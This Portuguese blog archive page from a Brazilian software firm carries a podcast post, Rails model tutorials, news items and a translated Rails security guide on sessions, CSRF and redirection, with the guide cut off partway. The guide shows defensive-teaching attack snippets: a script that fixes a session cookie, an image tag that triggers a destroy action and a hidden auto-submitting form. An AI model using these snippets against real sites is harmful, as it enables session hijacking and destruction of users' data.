Image Image Image Image Image
Scroll to Top

Topo

Ruby on Rails

SWX Labs 05 – Projeto 14 Bis

Em 10, fev 2014 | Sem Comentários | Em Blog, Cloud Computing, Código, Destaques, Rails, Ruby, Sistemas, SWX Labs | Por Mike Lopes

BisOn

No SWX Labs 05 Mike, Ighor, Tássio e principalmente Vinicius , falam sobre o principal projeto em curso na SWX, o 14 BIS.

Saiba a proposta do projeto, como ele surgiu, conseguiu financiamento e está sendo desenvolvido. Além disso, conheça uma história que fala sobre empreendedorismo e dedicação, e o saiba um pouco mais do dia a dia de uma Startup e de como executar um projeto de software.

Ouça o podcast clicando no play, se preferir faça o download

Links

Assine o feed do nosso podcast e não perca nenhum episódio: http://feeds.feedburner.com/SWXLabs

Se preferir, também estamos no Itunes Store

Gostou? Não gostou? Erramos algo? Sua opinião é muito importante para nós, por isso deixe seu comentário ou envie email para mike@swx.com.br

Temas abordados:

  • O que é o 14 BIS

    • Definição

    • CIO Market

    • Vantagens

  • Histórico

    • Surgimento da SWX

    • Insight: Problemas de instalação e manutenção de software para pequenas e médias empresas

    • Inspiração: Loja de aplicativos (Google Play e Apple Store)

    • Solução: Loja de aplicativos que automatiza a instalação de softwares

    • Histórico do desenvolvimento do 14 BIS

  • Processo de desenvolvimento do 14 BIS

    • Seleção de desenvolvedores

    • Andamento do desenvolvimento dos módulos

    • Importância da parceria com a Universidade Federal de Sergipe

  • 14 BIS na prática

    • Como funciona para comprador e fornecedor de software

    • Diferenciais competitivos

  • O futuro do 14 BIS

    • Consolidação dos grupos de projeto

    • Aumento das opções de infraestrutura de nuvem

    • Transformação do CIO Market em plataforma (plataforma como serviço)

 

 

 

Tags | , , , , , ,

22

jan
2014

Sem Comentários

Em Blog
Código
Rails
Ruby

Por Mike Lopes

Model em Ruby on Rails – Parte 02

Em 22, jan 2014 | Sem Comentários | Em Blog, Código, Rails, Ruby | Por Mike Lopes

* Por João Paulo

Veja a parte 01

ruby-on-rails

Um model é uma classe que herda da classe ActiveRecord::Base e está associada a uma tabela.

O arquivo do model possui o nome da tabela em minúsculo no singular (“nomedatabela.rb”) e a classe o nome em CamelCase (“class NomeDaTabela”).

É possível criar o model manualmente, porém o Rails possui um generate que cria o model, o migration e a tabela dinamicamente. Funciona no seguinte formato:

rails g model <Model> <Campo1>:tipo <Campo2>:tipo <Campon>:tipo

 ex.: A tabela “produtos”, gerada anteriormente, poderia ser gerada da seguinte forma: será gerada a tabela, o model e a migration pra ela.

rails g model Produto name:string

 Nota: Caso a tabela já tenha sido criada, é necessário adicionar o parâmetro “–force” no generate para reexecutar a migration.

 _mvc

Para acessar um campo pelo controller é necessário criar os métodos que irão ler e escrever o campo, por exemplo, para um campo “nome” ser lido, tem que ser criado o método “nome” e para gravar deverá ser criado o método “nome=”.

class table1 < ActiveRecord::Base

def nome

self[:nome]

end

def nome=(novoNome)

self[:nome] = novoNome

end

end

 

 Nota: É possível usar attr_accessor, attr_reader e attr_writer.

 Para definir um relacionamento no model é necessário chamar o método com o nome do relacionamento (belongs_to, has_one, has_many, …) e o nome na tabela. Esse relacionamento será feito a partir do id. Ex.:

class table1 < ActiveRecord::Base

belongs_to :table2

end

 

relacionará o campo “table2_id” da “table1” com o campo “id” da “table2”.

 Relacionamentos:

  • belongs_to (pertence à): Define que um registro de um model está ligado a um registro de outro model e pertence a ele numa relação “um pra um”, por exemplo, em  uma tabela com reitores e outra com universidades, “um reitor pertence a uma universidade”, assim a tabela “universidade” deverá ter um campo “reitor_id”.
  • has_one (“contém”): Define que um registro model contém outro de outro model numa relação “um pra um” (o contrário de belongs_to), no exemplo do belongs_to, temos que uma “universidade contém um reitor”.
  • has_many (“contém muitos”): Define que um registro de um model contém muitos registros de outro model. Por exemplo, um cliente pode ir a uma loja comprar vários produtos, assim à relação será “cliente contém muitos produtos”, logo a tabela “produtos_vendidos” terá um campo “cliente_id”.
  • has_and_belongs_to_many (“contém e pertence a vários”): Define que vários registros de um model está associado a vários de outro model. Por exemplo, em um sistema de vendas, existe uma tabela “pedidos” que associa vários registros da tabela “produtos” a um da tabela “cliente”, pois um cliente compra vários produtos; porém, também associa vários da tabela “clientes” a um da tabela “produtos”, pois um produto é comprado por vários clientes.

 

Validações:

 Em um model é necessário validar se os dados são válidos antes de salvar no banco de dados, para validar é necessário definir o método no formato:

“validates :<campo>, <validação>”.

 ex.: O campo “nome” da tabela “table1” será obrigatório.

class table1 < ActiveRecord::Base

validates :nome, presence: true

end

Existem vários helpers para validação, como, por exemplo, garantir que apenas números são esperados:

class table1 < ActiveRecord::Base

validates :value, numerically: true

end

Para mais helpers acesse: http://edgeguides.rubyonrails.org/active_record_validations.html#validation-helpers

É possível definir mensagens para caso ocorra um erro na validação, ou seja, para quando um valor passado não estiver de acordo com a validação:

class table1 < ActiveRecord::Base

validates :nome, presence: true, :message => “O nome é obrigatório.”

end

É possível definir a validação para uma determinada ação (create, update, …):

class table1 < ActiveRecord::Base

validates :nome, presence: true, on: :update

end

 

Validações por métodos customizados:

class table1 < ActiveRecord::Base

validate :método, on: :create

 

def metodo

if (campo1 > 10)

erros.add(:value_error, “O número tem que ser maior que 10”)

end

end

 

Informações sobre validações: http://edgeguides.rubyonrails.org/active_record_validations.html#validation-helpers

Documentação completa: http://api.rubyonrails.org/

* João Paulo é estudante de Computação e estagiário da SWX

Tags | , , , ,

15

jan
2014

Sem Comentários

Em Código
Rails
Ruby

Por Mike Lopes

Model em Ruby on Rails – Parte 01

Em 15, jan 2014 | Sem Comentários | Em Código, Rails, Ruby | Por Mike Lopes

Por João Paulo*
ruby-on-rails

O model é o componente da arquitetura de software MVC que faz a comunicação com o banco de dados (acessar e editar o banco de dados), ou seja, é no model que ficam as regras de negócio. O Rails conta com uma biblioteca para o desenvolvimento dos models de forma rápida, segura e organizada, essa biblioteca é chamada de ActiveRecord. No Rails, o model faz referências a uma tabela no banco, logo se existir um model, existe uma tabela associada a ele (essa é a ideia básica, mas não uma regra, pois é possível ter um model não associado a uma tabela).

É possível criar uma tabela manualmente, porém para alterá-la é necessário alterar manualmente em cada máquina que estiver o projeto, o que torna um processo trabalhoso, então, com o objetivo de  resolver esse problema, o Rails possui o ActiveRecord::Migrations que uma classe do ActiveRecord que define a tabela de forma que cada alteração seja facilmente enviada a todas as máquinas com o projeto. O modelo abaixo é de uma migration (nome dado a classe que herda de ActiveRecord::Migrations) em que é criada uma tabela chamada “produtos” e um campo “nome”:

ActiveRecord

class CreateProductos < ActiveRecord::Migration
	def change
		create table :produtos do |t|
			t.string :nome
		end
	end
end

O método change suporta:

  • add_column

  • add_index

  • add_reference

  • add_timestamps

  • create_table

  • create_join_table

  • drop_table (must supply a block)

  • drop_join_table (must supply a block)

  • remove_timestamps

  • rename_column

  • rename_index

  • remove_reference

  • rename_table

As migrations ficam salvas como: db/migrate/<timestamp>_<migration>.rb.

O comando “rake db:migrate” executa, no console, as migrations que ainda não foram executadas.

Para mais informações sobre migrations: http://guides.rubyonrails.org/migrations.html

É possível gerar, de forma dinâmica, uma migration a partir do console.

Abaixo estão apresentados alguns comandos:

Criar tabela:

rails g migration Create<Tabela> < campo1>:tipo <campo2>:tipo <campon>:tipo

Ex.: será criada uma migration chamada “CreateProducts” com o nome “products”:

rails g migration CreateProducts name:string

Adicionar coluna em uma tabela (depois da tabela ter sido criada):

rails g migration Add<Coluna>To<Tabela> <nome_da_coluna>:tipo

Ex.: será criada uma migration “AddRefToProducts” que acrescentará uma coluna chamada “ref” a tabela “products”:

rails g migration AddRefToProducts ref:string

Nota: é possível usar “rails generate…” ou simplesmente “rails g…”, pois eles são equivalentes.

Para mais informações sobre o rails generate acesse: http://guides.rubyonrails.org/migrations.html#creating-a-migration

* João Paulo é estudante de Computação e estagiário da SWX

Tags | , ,

10

abr
2012

Sem Comentários

Em Blog
CSS
Rails
Ruby

Por Allison

Como gerar gráficos no Rails com o CSS Graphs

Em 10, abr 2012 | Sem Comentários | Em Blog, CSS, Rails, Ruby | Por Allison

Fonte: Samuel Vinicius/IMasters

Post Original http://nubyonrails.com/pages/css_graphs

O CSS Graphs é um bom plugin para quem deseja gerar gráficos no Ruby on Rails usando apenas CSS. Para quem ainda tem alguma dúvida, veja como utilizá-lo:

Instalação

./script/plugin install http://topfunky.net/svn/plugins/css_graphs

Como usar

Para usá-lo, o seguinte código basta:

<%= bar_graph  [ ['Rails', 24],
                    ['Open', 9],
                    ['Css', 81],
                    ['Gráficos', 57],
                    ['Samuel', 42]] %>

Ou:

<%= complex_bar_graph  [ ['Rails', 24],
                  ['Open', 9],
                  ['Css', 81],
                  ['Gráficos', 57],
                  ['Samuel', 42]]%>

Tags | , , , ,

30

mar
2012

Sem Comentários

Em Blog
Rails
Ruby

Por Allison

Segundo release candidate do Ruby on Rails 3.2.3 é lançado

Em 30, mar 2012 | Sem Comentários | Em Blog, Rails, Ruby | Por Allison

Fonte: IMasters

A equipe de desenvolvimento do Ruby on Rails anunciou hoje a chegada do segundo release candidate da versão 3.2.3.

O Rails 3.2.3 trouxe uma nova opção que permite que o usuário controle o comportamento de formulários remotos relacionados à geração authenticity_token. Aqueles que querem fragmentar seus formulários em cache verão que o token de autenticação também serão também serão armazenados em cache, o que não é aceitável. Entretanto, se esses formulários forem usados apenas com Ajax, é possível desabilitar a geração de token, porque ela será buscada com a meta tag.

Com a versão 3.2.3, há a opção de parar de gerar authenticity_token em formulários remotos, configurando config.action_view.embed_authenticity_token_in_remote_forms = false. Essa ação vai impedir o envio desses formulários com o javascript desabilitado. Caso a opção de não gerar o token em formulários remotos seja escolhida por padrão, é possível ainda explicitar :authenticity_token => true ao gerar o formulário para contornar essa configuração.

A opção padrão é true, o que significa que aplicativos já existentes não são afetados.

O RC inclui essa mudança no authenticity_token e duas correções para bugs. Caso não haja maiores impedimentos, a versão final deve ser liberada amanhã.

Detalhes sobre as mudanças que a nova versão traz podem ser encontrados no anúncio de lançamento.

Tags | , ,

27

ago
2011

Sem Comentários

Em Blog

Por Allison

Micro Cloud Foundry traz a nuvem para a máquina do desenvolvedor

Em 27, ago 2011 | Sem Comentários | Em Blog | Por Allison

A VMware lançou o Micro Cloud Foundry, uma plataforma para desenvolvimento local de aplicativos de cloud computing, que possibilita aos desenvolvedores executar um ambiente de nuvem localmente em suas máquinas, de forma integrada ao ambiente de desenvolvimento, facilitando deploy, configuração e testes.

O Micro Cloud Foundry é uma plataforma open source que segue o modelo PaaS (Platform as a Service). Suporta a várias tecnologias e linguagens, entre elas Java, Spring, Scala, Ruby on Rails, Sinatra e Node.js. A plataforma também provê serviços que podem ser utilizados pelas aplicações, como MongoDB, MySQL e Redis.

O principal objetivo do Micro Clound Foundry (MCF) é tornar o ambiente de desenvolvimento equivalente ao ambiente de produção, de forma que o desenvolvedor não se preocupe com as diferenças entre a a máquina de desenvolvimento e as instâncias do Cloud Foundry. Um exemplo disso é o DNS dinâmico embutido na plataforma. Através dele, o desenvolvedor pode executar o MCF e acessar a aplicação de qualquer lugar. Outro benefício é a possibilidade de realizar o deploy da aplicação nas instâncias do Cloud Foundry sem a necessidade de modificar configurações relacionadas ao ambiente.

O novo produto da VMWare está disponível como uma imagem de máquina virtual, compatível com VMware Fusion para MacOSX, e com VMware Workstation e VMware Player para Linux e Windows. Para realizar o download é necessário uma conta (gratuita) no Cloud Foundry. Mais informações sobre o download estão disponíveis no blog do serviço.

No anúncio feito pelo time da VMWare também foi disponibilizado um passo-a-passo de como começar a utilizar o Micro Cloud Foundry. Desenvolvedores podem utilizá-lo via linha de comando, através da ferramenta shell disponibilizada, ou via Spring Tools Suite, a IDE da Spring Source baseada no Eclipse.

Fonte: InfoQ

Tags | , , , , , ,

26

ago
2011

Sem Comentários

Em Blog

Por Allison

Guia Sobre Segurança no Ruby on Rails

Em 26, ago 2011 | Sem Comentários | Em Blog | Por Allison

Este manual descreve problemas de segurança comuns em aplicações web e como evitá-los com Rails. Após lê-lo, você deverá estar familiarizado com:

  • Todas as precauções que estão destacadas
  • O conceito de sessões no Rails, o que colocar ali e métodos de ataque populares
  • Porque apenas visitar um site pode ser um problema de segurança (com CSRF)
  • No que você deve prestar atenção quando estiver trabalhando com arquivos ou fornecendo uma interface administrativa.
  • O problema de atribuição em massa específico do Rails
  • Como gerenciar usuários: Realizando login e logout e métodos de ataque em todas as camadas
  • E os métodos mais populares de ataques por injeção

1. Introdução

Frameworks para aplicações web existem para ajudar os desenvolvedores a construir aplicações web. Alguns deles também lhe ajudam com a segurança de aplicações web. Na verdade um framework não é mais seguro que outro: se você utiliza-los corretamente, poderá construir aplicações seguras com diversos frameworks. Ruby on Rails possui alguns métodos auxiliares bem “espertos”, por exemplo contra injeção de SQL, logo isso dificilmente será um problema. É bom ver que todas as aplicações Rails que eu auditei possuem um bom nível de segurança.

De forma geral, não há nada parecido com ‘segurança plug-n-play’. Segurança depende das pessoas que estão usando o framework, e algumas vezes do método de desenvolvimento. Depende também de todas as camadas do ambiente de uma aplicação web: O sistema de armazenamento de dados, o servidor web e a aplicação web em si (e possivelmente outras camadas ou aplicações).

O Grupo Gartnet estima entretanto que 75% dos ataques ocorrem na camada da aplicação web, e descobriu que “dentre 300 sites auditados, 97% eram vulneráveis a ataques”. Isso ocorre porque aplicações web são relativamente fáceis de atacar, uma vez que são simples de entender e manipular, mesmo para pessoas leigas.

As ameaças contra aplicações web incluem sequestro da conta de usuário, burlar o controle de acesso, ler ou modificar dados sigilosos ou fornecer conteúdo fraudulento. Ou um atacante pode conseguir instalar um programa Cavalo de Tróia ou um software para envio de e-mails não solicitados, tentar enriquecer ou causar danos ao nome de uma marca alterando recursos da empresa. Para prevenir ataques, minimizar seu impacto e remover pontos de ataque, antes de mais nada você precisa entender completamente os métodos de ataque, para que seja capaz de encontrar as medidas preventivas corretas. É esse o objetivo deste guia.

Para desenvolver aplicações web seguras você deve se manter atualizado em todas as camadas e conhecer seus inimigos. Para manter-se atualizado assine listas de discussão sobre segurança. leia blogs sobre segurança e torne atualizações e verificações de segurança um hábito (dê uma olhada na seção Recursos Adicionais). Eu faço isso manualmente porque é assim que você encontra os problemas com segurança mais sórdidos.

2 Sessões

Um bom lugar para começar a dar uma olhada na segurança são as sessões(sessions), as quais podem ser vulneráveis a alguns ataques em particular.

2.1 O que são sessões?

— HTTP é um protocolo que não mantém estado. Sessões fazem com o estado seja mantido.

A maioria das aplicações precisam ter controle sobre alguns aspectos relacionados ao estado de um usuário particular. Pode ser o conteúdo de um carrinho de compras ou o id do usuário atualmente autenticado. Sem a idéia de sessões, o usuário teria que se identificar, e provavelmente se autenticar, a cada nova requisição. O Rails criará uma nova sessão automaticamente se um novo usuário acessar a aplicação, mas usará uma sessão existente se usuário já tiver usado a aplicação anteriormente.

Uma sessão consiste em um hash de valores e um id de sessão, geralmente uma string com 32 caracteres, para identificar o hash. Cada cookie enviado para o browser do usuário inclui o id de sessão. No caminho inverso, o browser enviará o id de sessão para o servidor em cada request. No Rails você pode salvar e recuperar valores usando o método session:

session[:user_id] = @current_user.id
User.find(session[:user_id])

2.2 Id de sessão

— O id de sessão é um hash MD5 com 32 bytes de comprimento.

Um id de sessão consiste em um hash criado a partir de uma string aleatória. A string aleatória é composta pelo horário atual, um número aleatório entre 0 e 1, o id do processo do interpretador Ruby (basicamente um número aleatório também) e uma string constante. Atualmente é realmente muito difícil quebrar ids de sessão do Rails usando força bruta. O algorítmo MD5 não é totalmente garantido, dado que teoricamente é possível criar dois textos de entrada diferentes que resultam em um mesmo hash MD5. Entretanto, até o momento isso não teve nenhum impacto na segurança do Rails.

2.3 Sequestro de sessão

— Roubar o id de sessão de um usuário permite que um atacante use a aplicação web se passando pelo usuário.

Muitas aplicações web possuem um sistema de autenticação: um usuário fornece um username e uma senha, a aplicação web verifica estes dados e carrega o respectivo id de usuário no hash de sessão. De agora em diante, a sessão é válida. A cada novo request a aplicação irá carregar o usuário, identificado pelo id de usuário na sessão, sem a necessidade de uma nova autenticação. O id de sessão no cookie identifica a sessão.

Desta forma, o cookie funciona como uma autenticação temporária para a aplicação web. Qualquer um que possua um cookie de outra pessoa pode utilizar a aplicação web como se fosse essa outra pessoa – possivelmente com consequências graves. Veja a seguir algumas formas de sequestrar a sessão e suas medidas preventivas:

  • “Sniffar” o cookie em uma rede não segura. Uma rede LAN sem fios pode ser um exemplo de tal rede. Em uma rede LAN sem fios não encriptada é especialmente fácil escutar o tráfego de todos os clientes conectados. Esta é mais uma razão para não trabalhar a partir de uma cafeteria. Para o desenvolvedor de aplicações web, isso significa fornecer uma conexão segura através de SSL.
  • A maioria das pessoas não limpa seus cookies após trabalhar em um terminal público. Assim, se o último usuário não desfizer seu login na aplicação web, você poderá usar a aplicação como se fosse este usuário. Forneça ao usuário um botão Sair e torne-o visível.
  • Vários ataques de cross-site scripting (XSS) focam-se em obter o cookie do usuário. Você lê-rá mais sobre XSS mais à frente neste guia.
  • Ao invés de roubar um cookie desconhecido do atacante, ele fixa o identificador de sessão de um usuário conhecido (no cookie). Leia mais sobre esta forma de fixação de sessão mais à frente.

O objetivo principal da maioria dos atacantes é fazer dinheiro. No submundo, os preços para dados de autenticação bancários roubados variam entre US$ 10,00 e US$ 1000,00 (dependendo dos fundos disponíveis), de US$ 0,40 a US$ 20,00 para números de cartão de crédito, US$ 1,00 a US$ 8,00 para contas em sites de leilão online e de US$ 4,00 a US$ 30,00 para senhas de email, de acordo com o Relatório Global de Ameaças de Segurança na Internet da Symantec.

2.4 Orientações sobre sessões

— Aqui estão algumas orientações gerais sobre sessões.

  • Não guarde objetos muito grandes em uma sessão. Ao invés disso, você deve guardá-los no banco de dados e salvar apenas o id na sessão. Isso irá eliminar dores de cabeça com sincronização e não encherá o espaço de armazenamento da sessão (dependendo do tipo de mecanismo para armazenamento de sessão que você utilizar, veja mais abaixo). Com mecanismos de armazenamento do lado servidor você pode limpar as sessões, mas com mecanismo do lado cliente este é um problema difícil de eliminar.
  • Não guarde dados críticos na sessão. Se um usuário limpar seus cookies ou fechar seu navegador, estes dados serão perdidos. Com um mecanismo de armazenamento no lado cliente, o usuário pode ler estes dados.

2.5 Mecanismos de armazenamento de sessão

— O Rails fornece diversos mecanismos de armazenamento para os hashes de sessão. Os mais importantes são o ActiveRecordStore e o CookieStore.

Existem diversos mecanismos para armazenamento de sessões, isto é, onde o Rails salva o hash de sessão e o id de sessão. A maioria das aplicações utiliza ActiveRecordStore (ou uma de suas variações) ao invés de armazenamento em arquivos, devido à razões de desempenho e manutenção. O ActiveRecordStore mantém o id de sessão e o hash em uma tabela no banco de dados, salvando e recuperando o hash a cada novo request.

O Rails 2 introduziu um novo mecanismo padrão para armazenamento de sessão, o CookieStore. O CookieStore salva o hash de sessão diretamente em um cookie no lado cliente. O servidor recupera o hash de sessão deste cookie e elimina a necessidade de um id de sessão. Isso aumenta em muito a velocidade da aplicação, mas é uma opção de armazenamento controversa e você levar em conta suas implicações com segurança:

  • Cookies possuem um limite de tamanho de apenas 4K. Isso não deve ser problema, uma vez que você não deve guardar grandes quantidades de dados em uma sessão, como descrito anteriormente. Normalmente não há problemas em guardar o id do usuário atual.
  • O cliente pode ver tudo o que você guardar na sessão, porque estes dados serão guardados em claro (na verdade codificados em base 64, logo não encriptados). Dessa forma, obviamente, você não quer guardar nenhum segredo aqui. Para prevenir adulterações na sessão, uma chave é calculada a partir da sessão e de uma palavra secreta no servidor e inserida no final do cookie.

Isso significa que a segurança deste mecanismo depende desta palavra secreta (e do algoritmo de geração da chave, que por padrão é o SHA512, o qual ainda não foi quebrado). Logo, não use uma palavra secreta muito comum, ou seja, uma palavra de um dicionário ou uma que seja menor que 30 caracteres. Coloque a palavra secreta em seu environment.rb:

config.action_controller.session = {

:session_key => ‘_app_session’,

:secret => ‘0x0dkfj3927dkc7djdh36rkckdfzsg…’ }

Existem, entretanto, variações do CookieStore que encriptam o hash de sessão, logo o cliente não pode vê-lo.

2.6 Ataques de replay para sessões em CookieStore

— Outro tipo de ataque sobre o qual você deve estar alerta quando estiver usando CookieStore é o ataque de replay.

Funciona da seguinte maneira:

  • Um usuário recebe créditos, o valor é armazenado na sessão (o que é uma má ideia, de qualquer forma, mas nós iremos fazer isso para fins de demonstração).
  • O usuário compra algo.
  • Seu novo crédito, mais baixo, será armazenado na sessão.
  • O lado negro do usuário o força a pegar o cookie do primeiro passo (o qual ele copiou) e substituir o cookie atual no navegador.
  • O usuário tem seus créditos de volta.

Incluir um valor aleatório na sessão resolve o problema dos ataques de replay. Um valor aleatório é válido somente uma vez, e o servidor precisa ter controle sobre todos os valores aleatórios válidos. Isso se torna ainda mais complicado se você tiver diversos servidores de aplicação (mongrels). Guardar valores aleatórios em uma tabela no banco de dados seria contra todo o propósito do CookieStore (evitar acessar o banco de dados).

A melhor solução contra ataques de replay é não guardar este tipo de informação na sessão, mas sim no banco de dados. Neste caso guarde os créditos no banco de dados o id do usuário atual na sessão.

2.7 Fixação de sessão

— Além de roubar o id de sessão do usuário, um atacante pode fixar um id de sessão conhecido. Isso é chamado de fixação de sessão.

Este ataque foca em fixar o id de sessão de um usuário conhecido do atacante e forçar o navegador do usuário a utilizar este id. Dessa forma não é necessário que o atacante roube o id de sessão. Aqui está como este ataque funciona:

  • O atacante cria um id de sessão válido: Ele carrega a página de login da aplicação web para a qual ele quer fixar a sessão e pega o id de sessão do cookie que vier na resposta (veja os números 1 e 2 na imagem).
  • Ele possivelmente mantém a sessão. Sessões que expiram, por exemplo a cada 20 minutos, reduzem em muito o intervalo de tempo que pode ser utilizado para o ataque. Dessa forma ele precisa acessar a aplicação web de tempo em tempo para manter a sessão ativa.
  • Agora o atacante forçará o navegador do usuário a utilizar este id de sessão (veja o número 3 na imagem). Como você não pode alterar um cookie de outro domínio (devido a política de mesma origem), o atacante deve executar um código JavaScript proveniente do domínio da aplicação web alvo. Injetar o código JavaScript na aplicação através de XSS torna este ataque possível. Aqui está um exemplo:

<script>
document.cookie=”_session_id=16d5b78abb28e3d6206b60f22a03c8d9″;
</script>

Leia mais sobre XSS e injeção mais à frente.

  • O atacante atrai a vítima até a página infectada com o código JavaScript. Por ter acessado a página, o navegador do usuário irá alterar o id da sessão para o id fixado pelo atacante.
  • Como a sessão fixada não foi utilizada, a aplicação web solicitará que o usuário se autentique.
  • De agora em diante, a vítima e o atacante utilizarão a aplicação web com a mesma sessão: A sessão tornou-se válida e a vítima não notou o ataque.

2.8 Fixação de sessão – Medidas preventivas

— Uma linha de código o protegerá contra ataques de fixação de sessão.

A medida preventiva mais eficiente é fornecer um novo identificador de sessão e declarar o identificador anterior inválido logo após uma tentativa de autenticação com sucesso. Dessa forma, um atacante não pode usar o identificador da sessão fixada. Esta é também uma boa medida preventiva contra sequestro de sessão. Aqui está como criar uma nova sessão no Rails:

reset_session

Se você utiliza o popular plugin RestfulAuthentication para manutenção de usuários, adicione reset_session à action SessionsController#create. Note que isso remove qualquer valor da sessão, você precisa transferi-los para a nova sessão.

Outra medida preventiva é salvar propriedades específicas do usuário na sessão, verificá-las a cada novo request, e negar acesso se a informação não bater.Tais propriedades poderiam ser o endereço de IP remoto ou o nome do agente (o nome do navegador), apesar do último ser menos específico do usuário. Ao salvar o endereço IP, você deve ter em mente que existem provedores de serviços de Internet ou grandes organizações que colocam seus usuário atrás de proxies. Estes proxies podem mudar durante a duração de uma sessão, logo estes usuários não serão capazes de utilizar sua aplicação, ou apenas poderão usá-la de forma limitada.

2.9 Validade da sessão

— Sessões que nunca expiram aumentam o intervalo de tempo para ataques como cross site reference forgery (CSRF), sequestro de sessão ou fixação de sessão.

Uma possibilidade é definir o time-stamp de validade do cookie com o id da sessão. Entretanto o usuário pode editar cookies que estão armazenados no navegador, logo expirar as sessões no servidor é mais seguro. Aqui está um exemplo de como expirar sessões em uma tabela no banco de dados. Chame Session.sweep(“20m”) para expirar sessões que fiquem mais de 20 minutos sem serem usadas.

class Session < ActiveRecord::Base
def self.sweep(time_ago = nil)
time = case time_ago
when /^(\d+)m$/ then Time.now – $1.to_i.minute
when /^(\d+)h$/ then Time.now – $1.to_i.hour
when /^(\d+)d$/ then Time.now – $1.to_i.day
else Time.now – 1.hour
end
self.delete_all “updated_at < ‘#{time.to_s(:db)}'”
end
end

A seção sobre fixação de sessão introduziu o problema de manutenção de sessões. Um atacante mantendo uma sessão a cada cinco minutos pode manter a sessão ativa para sempre, apesar de você estar expirando as sessões. Uma solução simples para isso seria adicionar uma coluna created_at à tabela de sessões. Agora você pode apagar sessões que foram criadas há muito tempo atrás. Use esta linha no método sweep acima:

self.delete_all “updated_at < ‘#{time.to_s(:db)}’ OR
created_at < ‘#{2.days.ago.to_s(:db)}'”

3 Cross-Site Reference Forgery (CSRF)

— Este método de ataque funciona incluindo código malicioso ou um link em uma página que acessa uma aplicação web na qual acredita-se que o usuário tenha se autenticado. Se a sessão para esta aplicação web não tiver expirado, um atacante pode executar comandos não autorizados.

No capítulo sobre sessões você aprendeu que a maioria das aplicações Rails utilizam sessões armazenadas em cookies. Ou elas guardam o id de sessão no cookie e possuem um hash de sessão do lado servidor, ou todo o hash de sessão fica do lado cliente. Em qualquer um dos casos o navegador enviará o cookie a um domínio a cada nova requisição, se ele for capaz de encontrar um cookie para aquele domínio. O ponto controverso é que ele também enviará o cookie se a requisição vier de um domínio diferente. Vamos começar com um exemplo:

  • Bob navega por um fórum de discussão e visualiza uma mensagem criada por um hacker onde existe um elemento HTML de imagem forjado. O elemento referencia um comando na aplicação de gerenciamento de projetos de Bob, ao invés de um arquivo de imagem.
  • <img src=”http://www.webapp.com/project/1/destroy”/>
  • A sessão de Bob em www.webapp.com ainda está ativa, porque ele não fez seu logout alguns minutos atrás.
  • Por acessar a mensagem, o navegador encontra uma tag de imagem. Ele tenta carregar a imagem suspeita a partir de www.webapp.com. Como explicado anteriormente, ele também enviará o cookie com id de sessão válido.
  • A aplicação web em www.webapp.com verifica a informação do usuário no respectivo hash de sessão e destroy o projeto com ID 1. Ele então retorna a página com o resultado da operação, o que é um resultado inesperado para o navegador, logo ele não irá exibir a imagem.
  • Bob não percebe o ataque — Mas alguns dias mais tarde ele percebe que o projeto número um se foi.

É importante perceber que a imagem forjada ou link não precisam necessariamente estar situados no domínio da aplicação web, pode estar em qualquer lugar – em um fórum, post de blog ou email.

O CSRF aparece muito raramente no CVE (Exposições e Vulnerabilidades Comuns) — menos de 0.1% em 2006 — mas é realmente um “gigante adormecido” (Grossman). Esses dados estão em forte contraste com os resultados no meu trabalho em relação à segurança (e também no de outros) – CSRF é um problema de segurança muito importante.

3.1 Medidas preventivas para o CSRF

— Primeiramente, como é requerido pelo W3C, utilize POST e GET de forma correta. Além disso, um token de segurança em requesições que não sejam GET protegerá sua aplicação contra o CSRF.

O protocólo HTTP fornece basicamente duas formas princípais de requisiçãi – GET e POST (e outros, mas estas não são fornecidas pela maioria dos navegadores). O World Wide Web Consortium (W3C) fornece um checklist para que se escolha entre GET ou POST:

Utilize GET se:

  • A interação for como uma pergunta (ou seja, é uma operação segura, como uma pesquisa, operação de leitura, etc).

Utilize POST se:

  • A interação for como uma ordem, ou
  • A interação altera o estado do recurso de uma forma que usuário perceberia (por exemplo, a assinatura de um serviço), ou
  • O usuário deve se responsabilizar pelos resultados da interação.

Se a sua aplicação web for RESTful, você deve estar acostumado com os verbos HTTP adicionais, como PUT e DELETE. A maioria dos navegadores atuais, entretanto, não sabem como tratar tais verbos – apenas GET e POST. O Rails utiliza um campo oculto _method para tratar esta limitação.

O método verify em um controller pode certificar que actions específicas não possam ser utilizas através de GET. Aqui está um exemplo para verificar o uso da action transfer através de POST. Se a ação vier utilizando qualquer outro verbo, haverá um redirecionamento para a action list.

verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}

Com a adoção do padrão RESTful no Rails 2, a simples utilização de um mapeamento na forma map.resources :your_resources no seu arquivo routes.rb, em conjunto com a correta utilização do conjunto de rotas dinamicamente gerado por essa linha de código, garante a utilização dos verbos corretos para cada tipo de ação sobre um recurso.

Com essas precauções, o ataque citado acima não funcionará, porque o browser enviará uma requisição GET para imagens, a qual não será aceita pela aplicação web.

Mas este foi apenas o primeiro passo, porque requests POST podem ser enviados automaticamente também. Aqui está um exemplo de um link que exibe www.harmless.com como destino na barra de status do navegador. Na verdade ele cria um novo form dinamicamente que envia um request POST.

<a href=”http://www.harmless.com/” onclick=”
var f = document.createElement(‘form’);
f.style.display = ‘none’;
this.parentNode.appendChild(f);
f.method = ‘POST’;
f.action = ‘http://www.example.com/account/destroy’;
f.submit();
return false;”>To the harmless survey</a>

Ou um atacante o código no evento onmouseover de uma imagem:

<img src=”http://www.harmless.com/img” width=”400″ height=”400″ onmouseover=”…” />

Existem muitas outras possibilidades, incluindo Ajax para atacar a vítima no background. A solução (highlight) para este problema é incluir um token de segurança em requests que não sejam GET que casem com o que está do lado servidor. No Rails 2 ou superior, precisamos de uma única linha de código no application controller:

protect_from_forgery :secret => “123456789012345678901234567890…”

Isso incluirá automaticamente um token de segurança, calculado a partir da sessão atual e de uma palavra secreta do lado servidor, em todos os formulários e requests Ajax gerados pelo Rails. Você não precisará da palavra secreta se você utilizar CookiStorage como mecanismo de armazenamento de sessions. Se o token de segurança não for o esperado, será lançada uma exceção do tipo ActioController::InvalidAuthenticityToken

Perceba que vulnerabilidades de cross-site scripting (XSS) contornam todas as proteções contra CSRF. XSS dá ao atacante acesso a todos os elementos em uma página, logo ele pode ler o token de segurança CSRF de um form ou enviar o form diretamente. Leia mais sobre XSS mais à frente.

4. Redirecionamento e Arquivos


Outra forma de vulnerabilidade de segurança envolve o uso de redirecionamento e arquivos em aplicações web.

4.1 Redirecionamento

— Redirecionamento em uma aplicação web é uma ferramenta craker subestimada: O atacante pode não apenas enviar o usuário para um website falso mas também criar um ataque auto contido.

